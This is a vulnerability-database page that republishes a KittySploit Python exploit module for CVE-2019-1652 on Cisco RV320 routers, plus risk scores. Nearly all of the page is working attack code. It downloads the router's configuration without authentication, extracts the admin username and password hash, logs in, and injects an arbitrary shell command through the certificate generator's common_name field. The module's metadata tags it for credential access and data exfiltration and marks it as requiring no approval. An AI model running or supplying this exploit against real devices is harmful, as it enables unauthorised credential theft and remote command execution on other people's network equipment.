Lucene search
+L

Cisco RV320 Command Injection

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Unauthenticated remote command injection in Cisco RV320 web-based certificate generator.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco RV320 Command Injection"""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Cisco RV320 Command Injection',
        'description': 'Module exploits Cisco RV320 Remote Command Injection vulnerability in the web-based certificate generator feature.',
        'author': ['RedTeam Pentesting GmbH', 'GH0st3rs'],
        'cve': ['CVE-2019-1652'],
        'platform': Platform.LINUX,
        'references': ['https://www.redteam-pentesting.de/en/advisories/rt-sa-2019-005/-cisco-rv320-command-injection', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info'],
        'tags': ['iot', 'router', 'unauth', 'cve-2019-1652', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(443, "Target HTTP port")
    command = OptString("", "Command for execute")

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            config = self.get_config()
            if config is None:
                print_error("Config extraction failed. Quitting.")
                return
            username, password = self.extract_creds(config=config)
            if username is None or password is None:
                print_error("Username or password not found!")
                return
            session = self.cisco_login(username=username, password=password)
            if session is None:
                print_error("Login Failed, quitting time loser :(")
                return
            self.pwn(session=session, command=self.command)
        else:
            print_error("Target is not vulnerable")
    def get_config(self):
        print_status("Gonna go grab us a config file...")
        response = self.http_request(
            method="GET",
            path="/cgi-bin/config.exp",
        )
        if response and "sysconfig" in response.text:
            print_success("We seem to have found a valid config!")
            return response.text
        return None
    def extract_creds(self, config):
        # Here we extract the USER and PASSWD lines to get the username and hash...
        print_status("Extracting Creds...")

        username = re.findall('USERNAME=(.*?)\n', config)
        if not username:
            return None, None

        username = username[0]
        print_success("Got user: %s" % username)
        password = re.findall('PASSWD=(.*?)\n', config)

        if not password:
            return None, None

        password = password[0]
        print_success("Got password (hash): %s" % password)

        return username, password
    def extract_auth_key(self, session):
        response = self.http_request(
            session=session,
            method="GET",
            path="/cgi-bin/userLogin.cgi",
            verify=False,
        )
        if response is None:
            return None
        auth_key = re.findall(r'"auth_key" value="(.*?)">', response.text)
        if len(auth_key):
            return auth_key[0]
        return None
    def cisco_login(self, username, password):
        session = requests.Session()
        print_status("Sending request to extract auth key...")

        auth_key = self.extract_auth_key(session=session)
        if auth_key is not None:
            print_success("Got auth_key value: %s" % auth_key)
        else:
            print_success("auth_key extraction failed. Using 1964300002 anyway")
            auth_key = "1964300002"  # this seems to be a default on some?

        # now we do the login
        post_data = {
            "auth_key": auth_key,
            "auth_server_pw": "Y2lzY28=",
            "changelanguage": "",
            "current_password": "",
            "langName": "ENGLISH,Deutsch,Espanol,Francais,Italiano",
            "LanguageList": "ENGLISH",
            "login": "true",
            "md5_old_pass": "",
            "new_password": "",
            "password": password,
            "password_expired": 0,
            "pdStrength": 0,
            "portalname": "CommonPortal",
            "re_new_password": "",
            "submitStatus": 0,
            "username": username
        }

        login_response = self.http_request(
            session=session,
            method="POST",
            path="/cgi-bin/userLogin.cgi",
            verify=False,
            data=post_data
        )

        if login_response and "URL=/default.htm" in login_response.text:
            print_success("Login Successful, we can proceed!")
            return session
        return None
    def pwn(self, session, command):
        print_status("Ok, now to run your command: %s" % command)
        print_status("We don't get output so... Yeah. Shits blind.")

        payload = "a'$(%s)'b" % (command)
        post_data = {
            "page": "self_generator.htm",
            "totalRules": 1,
            "OpenVPNRules": 30,
            "submitStatus": 1,
            "log_ch": 1,
            "type": 4,
            "Country": "A",
            "state": "A",
                     "locality": "A",
                     "organization": "A",
                     "organization_unit": "A",
                     "email": "ab%40example.com",
                     "KeySize": 512,
                     "KeyLength": 1024,
                     "valid_days": 30,
                     "SelectSubject_c": 1,
                     "SelectSubject_s": 1,
                     "common_name": payload
        }
        self.http_request(
            session=session,
            method="POST",
            path="/certificate_handle2.htm?type=4",
            verify=False,
            data=post_data
        )
    def check(self):
        if self.get_config() is not None:
            return True

        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.2
CVSS 29
CVSS 37.2
EPSS0.95923
SSVC
3